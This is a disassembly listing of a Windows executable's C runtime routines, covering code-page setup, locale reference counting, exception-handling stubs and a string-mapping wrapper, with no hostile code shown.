mov eax, [ebp+arg_4]
push 50h
mov [esi+eax-1], bl
pop eax
jmp loc_412B5B
; ---------------------------------------------------------------------------
loc_412BE3: ; CODE XREF: sub_412B40+92j
mov [esi], bl
call sub_40F79E
push 22h
pop ecx
mov [eax], ecx
mov esi, ecx
jmp short loc_412B75
sub_412B40 endp
; =============== S U B R O U T I N E =======================================
sub_412BF3 proc near ; CODE XREF: sub_412F1F+11Ep
; sub_412F1F+173p
sub eax, 3A4h
jz short loc_412C1C
sub eax, 4
jz short loc_412C16
sub eax, 0Dh
jz short loc_412C10
dec eax
jz short loc_412C0A
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_412C0A: ; CODE XREF: sub_412BF3+12j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_412C10: ; CODE XREF: sub_412BF3+Fj
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_412C16: ; CODE XREF: sub_412BF3+Aj
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_412C1C: ; CODE XREF: sub_412BF3+5j
mov eax, 411h
retn
sub_412BF3 endp
; =============== S U B R O U T I N E =======================================
sub_412C22 proc near ; CODE XREF: sub_412F1F+2Bp
push ebx
push ebp
push esi
push edi
mov ebp, 101h
mov esi, eax
push ebp
xor edi, edi
lea ebx, [esi+1Ch]
push edi
push ebx
call sub_40DD10
mov [esi+4], edi
mov [esi+8], edi
mov [esi+0Ch], edi
xor eax, eax
lea edi, [esi+10h]
stosd
stosd
stosd
mov eax, offset dword_423288
add esp, 0Ch
sub eax, esi
loc_412C55: ; CODE XREF: sub_412C22+3Aj
mov cl, [eax+ebx]
mov [ebx], cl
inc ebx
dec ebp
jnz short loc_412C55
lea ecx, [esi+11Dh]
mov esi, 100h
loc_412C69: ; CODE XREF: sub_412C22+4Ej
mov dl, [ecx+eax]
mov [ecx], dl
inc ecx
dec esi
jnz short loc_412C69
pop edi
pop esi
pop ebp
pop ebx
retn
sub_412C22 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=49Ch
sub_412C77 proc near ; CODE XREF: sub_412F1F+141p
var_51C = dword ptr -51Ch
var_518 = byte ptr -518h
var_512 = byte ptr -512h
var_511 = byte ptr -511h
var_504 = word ptr -504h
var_304 = byte ptr -304h
var_204 = byte ptr -204h
var_104 = byte ptr -104h
var_4 = dword ptr -4
push ebp
lea ebp, [esp-49Ch]
sub esp, 51Ch
mov eax, dword_4231C4
xor eax, ebp
mov [ebp+49Ch+var_4], eax
push ebx
push edi
lea eax, [ebp+49Ch+var_518]
push eax
push dword ptr [esi+4]
call dword_41C160 ; GetCPInfo
test eax, eax
mov edi, 100h
jz loc_412D9D
xor eax, eax
loc_412CB0: ; CODE XREF: sub_412C77+43j
mov [ebp+eax+49Ch+var_104], al
inc eax
cmp eax, edi
jb short loc_412CB0
mov al, [ebp+49Ch+var_512]
test al, al
mov [ebp+49Ch+var_104], 20h
jz short loc_412CF5
lea ebx, [ebp+49Ch+var_511]
loc_412CCD: ; CODE XREF: sub_412C77+7Cj
movzx ecx, al
movzx eax, byte ptr [ebx]
cmp ecx, eax
ja short loc_412CED
sub eax, ecx
inc eax
push eax
lea edx, [ebp+ecx+49Ch+var_104]
push 20h
push edx
call sub_40DD10
add esp, 0Ch
loc_412CED: ; CODE XREF: sub_412C77+5Ej
inc ebx
mov al, [ebx]
inc ebx
test al, al
jnz short loc_412CCD
loc_412CF5: ; CODE XREF: sub_412C77+51j
push 0
push dword ptr [esi+0Ch]
lea eax, [ebp+49Ch+var_504]
push dword ptr [esi+4]
push eax
push edi
lea eax, [ebp+49Ch+var_104]
push eax
push 1
push 0
call sub_418606
xor ebx, ebx
push ebx
push dword ptr [esi+4]
lea eax, [ebp+49Ch+var_204]
push edi
push eax
push edi
lea eax, [ebp+49Ch+var_104]
push eax
push edi
push dword ptr [esi+0Ch]
push ebx
call sub_413945
add esp, 44h
push ebx
push dword ptr [esi+4]
lea eax, [ebp+49Ch+var_304]
push edi
push eax
push edi
lea eax, [ebp+49Ch+var_104]
push eax
push 200h
push dword ptr [esi+0Ch]
push ebx
call sub_413945
add esp, 24h
xor eax, eax
loc_412D5C: ; CODE XREF: sub_412C77+122j
movzx ecx, [ebp+eax*2+49Ch+var_504]
test cl, 1
jz short loc_412D74
or byte ptr [esi+eax+1Dh], 10h
mov cl, [ebp+eax+49Ch+var_204]
jmp short loc_412D85
; ---------------------------------------------------------------------------
loc_412D74: ; CODE XREF: sub_412C77+EDj
test cl, 2
jz short loc_412D8E
or byte ptr [esi+eax+1Dh], 20h
mov cl, [ebp+eax+49Ch+var_304]
loc_412D85: ; CODE XREF: sub_412C77+FBj
mov [esi+eax+11Dh], cl
jmp short loc_412D96
; ---------------------------------------------------------------------------
loc_412D8E: ; CODE XREF: sub_412C77+100j
mov byte ptr [esi+eax+11Dh], 0
loc_412D96: ; CODE XREF: sub_412C77+115j
inc eax
cmp eax, edi
jb short loc_412D5C
jmp short loc_412DEA
; ---------------------------------------------------------------------------
loc_412D9D: ; CODE XREF: sub_412C77+31j
lea eax, [esi+11Dh]
mov [ebp+49Ch+var_51C], 0FFFFFF9Fh
xor ecx, ecx
sub [ebp+49Ch+var_51C], eax
loc_412DAF: ; CODE XREF: sub_412C77+171j
mov edx, [ebp+49Ch+var_51C]
lea eax, [esi+ecx+11Dh]
add edx, eax
lea ebx, [edx+20h]
cmp ebx, 19h
ja short loc_412DCF
or byte ptr [esi+ecx+1Dh], 10h
mov dl, cl
add dl, 20h
jmp short loc_412DDE
; ---------------------------------------------------------------------------
loc_412DCF: ; CODE XREF: sub_412C77+14Aj
cmp edx, 19h
ja short loc_412DE2
or byte ptr [esi+ecx+1Dh], 20h
mov dl, cl
sub dl, 20h
loc_412DDE: ; CODE XREF: sub_412C77+156j
mov [eax], dl
jmp short loc_412DE5
; ---------------------------------------------------------------------------
loc_412DE2: ; CODE XREF: sub_412C77+15Bj
mov byte ptr [eax], 0
loc_412DE5: ; CODE XREF: sub_412C77+169j
inc ecx
cmp ecx, edi
jb short loc_412DAF
loc_412DEA: ; CODE XREF: sub_412C77+124j
mov ecx, [ebp+49Ch+var_4]
pop edi
xor ecx, ebp
pop ebx
call sub_410BCD
add ebp, 49Ch
leave
retn
sub_412C77 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412E01 proc near ; CODE XREF: sub_40F7E2+57p
; sub_4130CA+1Ap
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
push 0Ch
push offset dword_41FA30
call __SEH_prolog4
call sub_411FFD
mov edi, eax
mov eax, dword_4237AC
test [edi+70h], eax
jz short loc_412E3B
cmp dword ptr [edi+6Ch], 0
jz short loc_412E3B
mov esi, [edi+68h]
loc_412E27: ; CODE XREF: sub_412E01+96j
test esi, esi
jnz short loc_412E33
push 20h
call sub_412499
pop ecx
loc_412E33: ; CODE XREF: sub_412E01+28j
mov eax, esi
call __SEH_epilog4
retn
; ---------------------------------------------------------------------------
loc_412E3B: ; CODE XREF: sub_412E01+1Bj
; sub_412E01+21j
push 0Dh
call sub_416DA6
pop ecx
and [ebp+ms_exc.disabled], 0
mov esi, [edi+68h]
mov [ebp+var_1C], esi
cmp esi, dword_4236B0
jz short loc_412E8B
test esi, esi
jz short loc_412E73
push esi
call dword_41C158 ; InterlockedDecrement
test eax, eax
jnz short loc_412E73
cmp esi, offset dword_423288
jz short loc_412E73
push esi
call sub_41112C
pop ecx
loc_412E73: ; CODE XREF: sub_412E01+56j
; sub_412E01+61j ...
mov eax, dword_4236B0
mov [edi+68h], eax
mov esi, dword_4236B0
mov [ebp+var_1C], esi
push esi
call dword_41C150 ; InterlockedIncrement
loc_412E8B: ; CODE XREF: sub_412E01+52j
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_412E9C
jmp short loc_412E27
sub_412E01 endp
; =============== S U B R O U T I N E =======================================
sub_412E99 proc near ; DATA XREF: .vty:0041FA48o
mov esi, [ebp-1Ch]
sub_412E99 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_412E9C proc near ; CODE XREF: sub_412E01+91p
push 0Dh
call sub_416CCE
pop ecx
retn
sub_412E9C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412EA5 proc near ; CODE XREF: sub_412F1F+19p
; sub_4130CA+25p
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 10h
push ebx
xor ebx, ebx
push ebx
lea ecx, [ebp+var_10]
call sub_40F7E2
cmp esi, 0FFFFFFFEh
mov dword_424408, ebx
jnz short loc_412EE0
mov dword_424408, 1
call dword_41C168 ; GetOEMCP
loc_412ED2: ; CODE XREF: sub_412EA5+50j
; sub_412EA5+67j
cmp [ebp+var_4], bl
jz short loc_412F1C
mov ecx, [ebp+var_8]
and dword ptr [ecx+70h], 0FFFFFFFDh
jmp short loc_412F1C
; ---------------------------------------------------------------------------
loc_412EE0: ; CODE XREF: sub_412EA5+1Bj
cmp esi, 0FFFFFFFDh
jnz short loc_412EF7
mov dword_424408, 1
call dword_41C164 ; GetACP
jmp short loc_412ED2
; ---------------------------------------------------------------------------
loc_412EF7: ; CODE XREF: sub_412EA5+3Ej
cmp esi, 0FFFFFFFCh
jnz short loc_412F0E
mov eax, [ebp+var_10]
mov eax, [eax+4]
mov dword_424408, 1
jmp short loc_412ED2
; ---------------------------------------------------------------------------
loc_412F0E: ; CODE XREF: sub_412EA5+55j
cmp [ebp+var_4], bl
jz short loc_412F1A
mov eax, [ebp+var_8]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_412F1A: ; CODE XREF: sub_412EA5+6Cj
mov eax, esi
loc_412F1C: ; CODE XREF: sub_412EA5+30j
; sub_412EA5+39j
pop ebx
leave
retn
sub_412EA5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412F1F proc near ; CODE XREF: sub_4130CA+5Ep
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov eax, dword_4231C4
xor eax, ebp
mov [ebp+var_4], eax
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
push edi
call sub_412EA5
mov edi, eax
xor esi, esi
cmp edi, esi
mov [ebp+arg_0], edi
jnz short loc_412F56
loc_412F48: ; CODE XREF: sub_412F1F+193j
mov eax, ebx
call sub_412C22
loc_412F4F: ; CODE XREF: sub_412F1F+146j
xor eax, eax
jmp loc_4130BB
; ---------------------------------------------------------------------------
loc_412F56: ; CODE XREF: sub_412F1F+27j
mov [ebp+var_1C], esi
xor eax, eax
loc_412F5B: ; CODE XREF: sub_412F1F+4Fj
cmp dword_4236B8[eax], edi
jz short loc_412FCA
inc [ebp+var_1C]
add eax, 30h
cmp eax, 0F0h
jb short loc_412F5B
lea eax, [ebp+var_18]
push eax
push edi
call dword_41C160 ; GetCPInfo
test eax, eax
jz loc_4130AC
push 101h
lea eax, [ebx+1Ch]
push esi
push eax
call sub_40DD10
xor edx, edx
inc edx
add esp, 0Ch
cmp [ebp+var_18], edx
mov [ebx+4], edi
mov [ebx+0Ch], esi
jbe loc_41309F
cmp [ebp+var_12], 0
jz loc_413080
lea esi, [ebp+var_11]
loc_412FB4: ; CODE XREF: sub_412F1F+15Bj
mov cl, [esi]
test cl, cl
jz loc_413080
movzx eax, byte ptr [esi-1]
movzx ecx, cl
jmp loc_413070
; ---------------------------------------------------------------------------
loc_412FCA: ; CODE XREF: sub_412F1F+42j
push 101h
lea eax, [ebx+1Ch]
push esi
push eax
call sub_40DD10
mov ecx, [ebp+var_1C]
add esp, 0Ch
imul ecx, 30h
mov [ebp+var_20], esi
lea esi, dword_4236C8[ecx]
mov [ebp+var_1C], esi
jmp short loc_41301A
; ---------------------------------------------------------------------------
loc_412FF0: ; CODE XREF: sub_412F1F+FEj
mov al, [esi+1]
test al, al
jz short loc_41301F
movzx edi, byte ptr [esi]
movzx eax, al
jmp short loc_413011
; ---------------------------------------------------------------------------
loc_412FFF: ; CODE XREF: sub_412F1F+F4j
mov eax, [ebp+var_20]
mov al, byte_4236B4[eax]
or [ebx+edi+1Dh], al
movzx eax, byte ptr [esi+1]
inc edi
loc_413011: ; CODE XREF: sub_412F1F+DEj
cmp edi, eax
jbe short loc_412FFF
mov edi, [ebp+arg_0]
inc esi
inc esi
loc_41301A: ; CODE XREF: sub_412F1F+CFj
; sub_412F1F+110j
cmp byte ptr [esi], 0
jnz short loc_412FF0
loc_41301F: ; CODE XREF: sub_412F1F+D6j
mov esi, [ebp+var_1C]
inc [ebp+var_20]
add esi, 8
cmp [ebp+var_20], 4
mov [ebp+var_1C], esi
jb short loc_41301A
mov eax, edi
mov [ebx+4], edi
mov dword ptr [ebx+8], 1
call sub_412BF3
push 6
mov [ebx+0Ch], eax
lea eax, [ebx+10h]
lea ecx, dword_4236BC[ecx]
pop edx
loc_413051: ; CODE XREF: sub_412F1F+13Dj
mov si, [ecx]
inc ecx
mov [eax], si
inc ecx
inc eax
inc eax
dec edx
jnz short loc_413051
loc_41305E: ; CODE XREF: sub_412F1F+18Bj
mov esi, ebx
call sub_412C77
jmp loc_412F4F
; ---------------------------------------------------------------------------
loc_41306A: ; CODE XREF: sub_412F1F+153j
or byte ptr [ebx+eax+1Dh], 4
inc eax
loc_413070: ; CODE XREF: sub_412F1F+A6j
cmp eax, ecx
jbe short loc_41306A
inc esi
inc esi
cmp byte ptr [esi-1], 0
jnz loc_412FB4
loc_413080: ; CODE XREF: sub_412F1F+8Cj
; sub_412F1F+99j
lea eax, [ebx+1Eh]
mov ecx, 0FEh
loc_413088: ; CODE XREF: sub_412F1F+16Ej
or byte ptr [eax], 8
inc eax
dec ecx
jnz short loc_413088
mov eax, [ebx+4]
call sub_412BF3
mov [ebx+0Ch], eax
mov [ebx+8], edx
jmp short loc_4130A2
; ---------------------------------------------------------------------------
loc_41309F: ; CODE XREF: sub_412F1F+82j
mov [ebx+8], esi
loc_4130A2: ; CODE XREF: sub_412F1F+17Ej
xor eax, eax
lea edi, [ebx+10h]
stosd
stosd
stosd
jmp short loc_41305E
; ---------------------------------------------------------------------------
loc_4130AC: ; CODE XREF: sub_412F1F+5Ej
cmp dword_424408, esi
jnz loc_412F48
or eax, 0FFFFFFFFh
loc_4130BB: ; CODE XREF: sub_412F1F+32j
mov ecx, [ebp+var_4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call sub_410BCD
leave
retn
sub_412F1F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4130CA proc near ; CODE XREF: sub_413264+Bp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 00413236 SIZE 0000002E BYTES
push 14h
push offset dword_41FA50
call __SEH_prolog4
or [ebp+var_20], 0FFFFFFFFh
call sub_411FFD
mov edi, eax
mov [ebp+var_24], edi
call sub_412E01
mov ebx, [edi+68h]
mov esi, [ebp+arg_0]
call sub_412EA5
mov [ebp+arg_0], eax
cmp eax, [ebx+4]
jz loc_413257
push 220h
call sub_412323
pop ecx
mov ebx, eax
test ebx, ebx
jz loc_41325B
mov ecx, 88h
mov esi, [edi+68h]
mov edi, ebx
rep movsd
and dword ptr [ebx], 0
push ebx
push [ebp+arg_0]
call sub_412F1F
pop ecx
pop ecx
mov [ebp+var_20], eax
test eax, eax
jnz loc_413236
mov esi, [ebp+var_24]
push dword ptr [esi+68h]
call dword_41C158 ; InterlockedDecrement
test eax, eax
jnz short loc_41315B
mov eax, [esi+68h]
cmp eax, offset dword_423288
jz short loc_41315B
push eax
call sub_41112C
pop ecx
loc_41315B: ; CODE XREF: sub_4130CA+7Ej
; sub_4130CA+88j
mov [esi+68h], ebx
push ebx
mov edi, dword_41C150
call edi ; InterlockedIncrement
test byte ptr [esi+70h], 2
jnz loc_41325B
test byte ptr dword_4237AC, 1
jnz loc_41325B
push 0Dh
call sub_416DA6
pop ecx
and [ebp+ms_exc.disabled], 0
mov eax, [ebx+4]
mov dword_424418, eax
mov eax, [ebx+8]
mov dword_42441C, eax
mov eax, [ebx+0Ch]
mov dword_424420, eax
xor eax, eax
loc_4131A4: ; CODE XREF: sub_4130CA+F0j
mov [ebp+var_1C], eax
cmp eax, 5
jge short loc_4131BC
mov cx, [ebx+eax*2+10h]
mov word_42440C[eax*2], cx
inc eax
jmp short loc_4131A4
; ---------------------------------------------------------------------------
loc_4131BC: ; CODE XREF: sub_4130CA+E0j
xor eax, eax
loc_4131BE: ; CODE XREF: sub_4130CA+109j
mov [ebp+var_1C], eax
cmp eax, 101h
jge short loc_4131D5
mov cl, [eax+ebx+1Ch]
mov byte_4234A8[eax], cl
inc eax
jmp short loc_4131BE
; ---------------------------------------------------------------------------
loc_4131D5: ; CODE XREF: sub_4130CA+FCj
xor eax, eax
loc_4131D7: ; CODE XREF: sub_4130CA+125j
mov [ebp+var_1C], eax
cmp eax, 100h
jge short loc_4131F1
mov cl, [eax+ebx+11Dh]
mov byte_4235B0[eax], cl
inc eax
jmp short loc_4131D7
; ---------------------------------------------------------------------------
loc_4131F1: ; CODE XREF: sub_4130CA+115j
push dword_4236B0
call dword_41C158 ; InterlockedDecrement
test eax, eax
jnz short loc_413214
mov eax, dword_4236B0
cmp eax, offset dword_423288
jz short loc_413214
push eax
call sub_41112C
pop ecx
loc_413214: ; CODE XREF: sub_4130CA+135j
; sub_4130CA+141j
mov dword_4236B0, ebx
push ebx
call edi ; InterlockedIncrement
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_41322B
jmp short loc_41325B
sub_4130CA endp
; =============== S U B R O U T I N E =======================================
sub_41322B proc near ; CODE XREF: sub_4130CA+15Ap
; DATA XREF: .vty:0041FA68o
push 0Dh
call sub_416CCE
pop ecx
retn
sub_41322B endp
; ---------------------------------------------------------------------------
jmp short loc_41325B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4130CA
loc_413236: ; CODE XREF: sub_4130CA+6Aj
cmp eax, 0FFFFFFFFh
jnz short loc_41325B
cmp ebx, offset dword_423288
jz short loc_41324A
push ebx
call sub_41112C
pop ecx
loc_41324A: ; CODE XREF: sub_4130CA+177j
call sub_40F79E
mov dword ptr [eax], 16h
jmp short loc_41325B
; ---------------------------------------------------------------------------
loc_413257: ; CODE XREF: sub_4130CA+30j
and [ebp+var_20], 0
loc_41325B: ; CODE XREF: sub_4130CA+45j
; sub_4130CA+A1j ...
mov eax, [ebp+var_20]
call __SEH_epilog4
retn
; END OF FUNCTION CHUNK FOR sub_4130CA
; =============== S U B R O U T I N E =======================================
sub_413264 proc near ; CODE XREF: sub_41547E+Cp
; sub_4154DB+Dp ...
cmp dword_42601C, 0
jnz short loc_41327F
push 0FFFFFFFDh
call sub_4130CA
pop ecx
mov dword_42601C, 1
loc_41327F: ; CODE XREF: sub_413264+7j
xor eax, eax
retn
sub_413264 endp
; =============== S U B R O U T I N E =======================================
sub_413282 proc near ; CODE XREF: sub_412015+E8p
; sub_4134D4+31p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
mov eax, [esi+0BCh]
xor ebp, ebp
cmp eax, ebp
push edi
jz short loc_413305
cmp eax, offset off_423ED8
jz short loc_413305
mov eax, [esi+0B0h]
cmp eax, ebp
jz short loc_413305
cmp [eax], ebp
jnz short loc_413305
mov eax, [esi+0B8h]
cmp eax, ebp
jz short loc_4132CC
cmp [eax], ebp
jnz short loc_4132CC
push eax
call sub_41112C
push dword ptr [esi+0BCh]
call sub_418816
pop ecx
pop ecx
loc_4132CC: ; CODE XREF: sub_413282+31j
; sub_413282+35j
mov eax, [esi+0B4h]
cmp eax, ebp
jz short loc_4132ED
cmp [eax], ebp
jnz short loc_4132ED
push eax
call sub_41112C
push dword ptr [esi+0BCh]
call sub_4187D6
pop ecx
pop ecx
loc_4132ED: ; CODE XREF: sub_413282+52j
; sub_413282+56j
push dword ptr [esi+0B0h]
call sub_41112C
push dword ptr [esi+0BCh]
call sub_41112C
pop ecx
pop ecx
loc_413305: ; CODE XREF: sub_413282+12j
; sub_413282+19j ...
mov eax, [esi+0C0h]
cmp eax, ebp
jz short loc_413353
cmp [eax], ebp
jnz short loc_413353
mov eax, [esi+0C4h]
sub eax, 0FEh
push eax
call sub_41112C
mov eax, [esi+0CCh]
mov edi, 80h
sub eax, edi
push eax
call sub_41112C
mov eax, [esi+0D0h]
sub eax, edi
push eax
call sub_41112C
push dword ptr [esi+0C0h]
call sub_41112C
add esp, 10h
loc_413353: ; CODE XREF: sub_413282+8Bj
; sub_413282+8Fj
lea edi, [esi+0D4h]
mov eax, [edi]
cmp eax, offset off_423E18
jz short loc_413379
cmp [eax+0B4h], ebp
jnz short loc_413379
push eax
call sub_418646
push dword ptr [edi]
call sub_41112C
pop ecx
pop ecx
loc_413379: ; CODE XREF: sub_413282+DEj
; sub_413282+E6j
push 6
lea edi, [esi+50h]
pop ebx
loc_41337F: ; CODE XREF: sub_413282+132j
cmp dword ptr [edi-8], offset dword_4237B0
jz short loc_413399
mov eax, [edi]
cmp eax, ebp
jz short loc_413399
cmp [eax], ebp
jnz short loc_413399
push eax
call sub_41112C
pop ecx
loc_413399: ; CODE XREF: sub_413282+104j
; sub_413282+10Aj ...
cmp [edi-4], ebp
jz short loc_4133B0
mov eax, [edi+4]
cmp eax, ebp
jz short loc_4133B0
cmp [eax], ebp
jnz short loc_4133B0
push eax
call sub_41112C
pop ecx
loc_4133B0: ; CODE XREF: sub_413282+11Aj
; sub_413282+121j ...
add edi, 10h
dec ebx
jnz short loc_41337F
push esi
call sub_41112C
pop ecx
pop edi
pop esi
pop ebp
pop ebx
retn
sub_413282 endp
; =============== S U B R O U T I N E =======================================
sub_4133C2 proc near ; CODE XREF: sub_411EC6+93p
; sub_4134D4+12p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
push edi
mov edi, dword_41C150
push esi
call edi ; InterlockedIncrement
mov eax, [esi+0B0h]
test eax, eax
jz short loc_4133E0
push eax
call edi ; InterlockedIncrement
loc_4133E0: ; CODE XREF: sub_4133C2+19j
mov eax, [esi+0B8h]
test eax, eax
jz short loc_4133ED
push eax
call edi ; InterlockedIncrement
loc_4133ED: ; CODE XREF: sub_4133C2+26j
mov eax, [esi+0B4h]
test eax, eax
jz short loc_4133FA
push eax
call edi ; InterlockedIncrement
loc_4133FA: ; CODE XREF: sub_4133C2+33j
mov eax, [esi+0C0h]
test eax, eax
jz short loc_413407
push eax
call edi ; InterlockedIncrement
loc_413407: ; CODE XREF: sub_4133C2+40j
push 6
lea ebx, [esi+50h]
pop ebp
loc_41340D: ; CODE XREF: sub_4133C2+71j
cmp dword ptr [ebx-8], offset dword_4237B0
jz short loc_41341F
mov eax, [ebx]
test eax, eax
jz short loc_41341F
push eax
call edi ; InterlockedIncrement
loc_41341F: ; CODE XREF: sub_4133C2+52j
; sub_4133C2+58j
cmp dword ptr [ebx-4], 0
jz short loc_41342F
mov eax, [ebx+4]
test eax, eax
jz short loc_41342F
push eax
call edi ; InterlockedIncrement
loc_41342F: ; CODE XREF: sub_4133C2+61j
; sub_4133C2+68j
add ebx, 10h
dec ebp
jnz short loc_41340D
mov eax, [esi+0D4h]
add eax, 0B4h
push eax
call edi ; InterlockedIncrement
pop edi
pop esi
pop ebp
pop ebx
retn
sub_4133C2 endp
; =============== S U B R O U T I N E =======================================
sub_413448 proc near ; CODE XREF: sub_412015+CCp
; sub_4134D4+1Dp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_4134D0
push ebx
push ebp
push edi
mov edi, dword_41C158
push esi
call edi ; InterlockedDecrement
mov eax, [esi+0B0h]
test eax, eax
jz short loc_41346A
push eax
call edi ; InterlockedDecrement
loc_41346A: ; CODE XREF: sub_413448+1Dj
mov eax, [esi+0B8h]
test eax, eax
jz short loc_413477
push eax
call edi ; InterlockedDecrement
loc_413477: ; CODE XREF: sub_413448+2Aj
mov eax, [esi+0B4h]
test eax, eax
jz short loc_413484
push eax
call edi ; InterlockedDecrement
loc_413484: ; CODE XREF: sub_413448+37j
mov eax, [esi+0C0h]
test eax, eax
jz short loc_413491
push eax
call edi ; InterlockedDecrement
loc_413491: ; CODE XREF: sub_413448+44j
push 6
lea ebx, [esi+50h]
pop ebp
loc_413497: ; CODE XREF: sub_413448+75j
cmp dword ptr [ebx-8], offset dword_4237B0
jz short loc_4134A9
mov eax, [ebx]
test eax, eax
jz short loc_4134A9
push eax
call edi ; InterlockedDecrement
loc_4134A9: ; CODE XREF: sub_413448+56j
; sub_413448+5Cj
cmp dword ptr [ebx-4], 0
jz short loc_4134B9
mov eax, [ebx+4]
test eax, eax
jz short loc_4134B9
push eax
call edi ; InterlockedDecrement
loc_4134B9: ; CODE XREF: sub_413448+65j
; sub_413448+6Cj
add ebx, 10h
dec ebp
jnz short loc_413497
mov eax, [esi+0D4h]
add eax, 0B4h
push eax
call edi ; InterlockedDecrement
pop edi
pop ebp
pop ebx
loc_4134D0: ; CODE XREF: sub_413448+7j
mov eax, esi
pop esi
retn
sub_413448 endp
; =============== S U B R O U T I N E =======================================
sub_4134D4 proc near ; CODE XREF: sub_413512+54p
test edi, edi
jz short loc_41350F
test eax, eax
jz short loc_41350F
push esi
mov esi, [eax]
cmp esi, edi
jz short loc_41350B
push edi
mov [eax], edi
call sub_4133C2
test esi, esi
pop ecx
jz short loc_41350B
push esi
call sub_413448
cmp dword ptr [esi], 0
pop ecx
jnz short loc_41350B
cmp esi, offset dword_4237B8
jz short loc_41350B
push esi
call sub_413282
pop ecx
loc_41350B: ; CODE XREF: sub_4134D4+Dj
; sub_4134D4+1Aj ...
mov eax, edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_41350F: ; CODE XREF: sub_4134D4+2j
; sub_4134D4+6j
xor eax, eax
retn
sub_4134D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413512 proc near ; CODE XREF: sub_40F7E2+37p
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
push 0Ch
push offset dword_41FA70
call __SEH_prolog4
call sub_411FFD
mov esi, eax
mov eax, dword_4237AC
test [esi+70h], eax
jz short loc_413551
cmp dword ptr [esi+6Ch], 0
jz short loc_413551
call sub_411FFD
mov esi, [eax+6Ch]
loc_41353D: ; CODE XREF: sub_413512+68j
test esi, esi
jnz short loc_413549
push 20h
call sub_412499
pop ecx
loc_413549: ; CODE XREF: sub_413512+2Dj
mov eax, esi
call __SEH_epilog4
retn
; ---------------------------------------------------------------------------
loc_413551: ; CODE XREF: sub_413512+1Bj
; sub_413512+21j
push 0Ch
call sub_416DA6
pop ecx
and [ebp+ms_exc.disabled], 0
lea eax, [esi+6Ch]
mov edi, off_423890
call sub_4134D4
mov [ebp+var_1C], eax
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_41357C
jmp short loc_41353D
sub_413512 endp
; =============== S U B R O U T I N E =======================================
sub_41357C proc near ; CODE XREF: sub_413512+63p
; DATA XREF: .vty:0041FA88o
push 0Ch
call sub_416CCE
pop ecx
mov esi, [ebp-1Ch]
retn
sub_41357C endp
; =============== S U B R O U T I N E =======================================
sub_413588 proc near ; CODE XREF: sub_4135A3+220p
; sub_4135A3+229p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jz short locret_4135A2
sub eax, 8
cmp dword ptr [eax], 0DDDDh
jnz short locret_4135A2
push eax
call sub_41112C
pop ecx
locret_4135A2: ; CODE XREF: sub_413588+6j
; sub_413588+11j
retn
sub_413588 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4135A3 proc near ; CODE XREF: sub_413945+2Cp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_4231C4
xor eax, ebp
mov [ebp+var_4], eax
push ebx
push esi
xor ebx, ebx
cmp dword_424448, ebx
push edi
mov esi, ecx
jnz short loc_4135FA
push ebx
push ebx
xor edi, edi
inc edi
push edi
push offset dword_41C81C
push 100h
push ebx
call dword_41C178 ; LCMapStringW
test eax, eax
jz short loc_4135E5
mov dword_424448, edi
jmp short loc_4135FA
; ---------------------------------------------------------------------------
loc_4135E5: ; CODE XREF: sub_4135A3+38j
call dword_41C0A4 ; RtlGetLastWin32Error
cmp eax, 78h
jnz short loc_4135FA
mov dword_424448, 2
loc_4135FA: ; CODE XREF: sub_4135A3+1Dj
; sub_4135A3+40j ...
cmp [ebp+arg_C], ebx
jle short loc_413621
mov ecx, [ebp+arg_C]
mov eax, [ebp+arg_8]
loc_413605: ; CODE XREF: sub_4135A3+6Aj
dec ecx
cmp [eax], bl
jz short loc_413612
inc eax
cmp ecx, ebx
jnz short loc_413605
or ecx, 0FFFFFFFFh
loc_413612: ; CODE XREF: sub_4135A3+65j
mov eax, [ebp+arg_C]
sub eax, ecx
dec eax
cmp eax, [ebp+arg_C]
jge short loc_41361E
inc eax
loc_41361E: ; CODE XREF: sub_4135A3+78j
mov [ebp+arg_C], eax
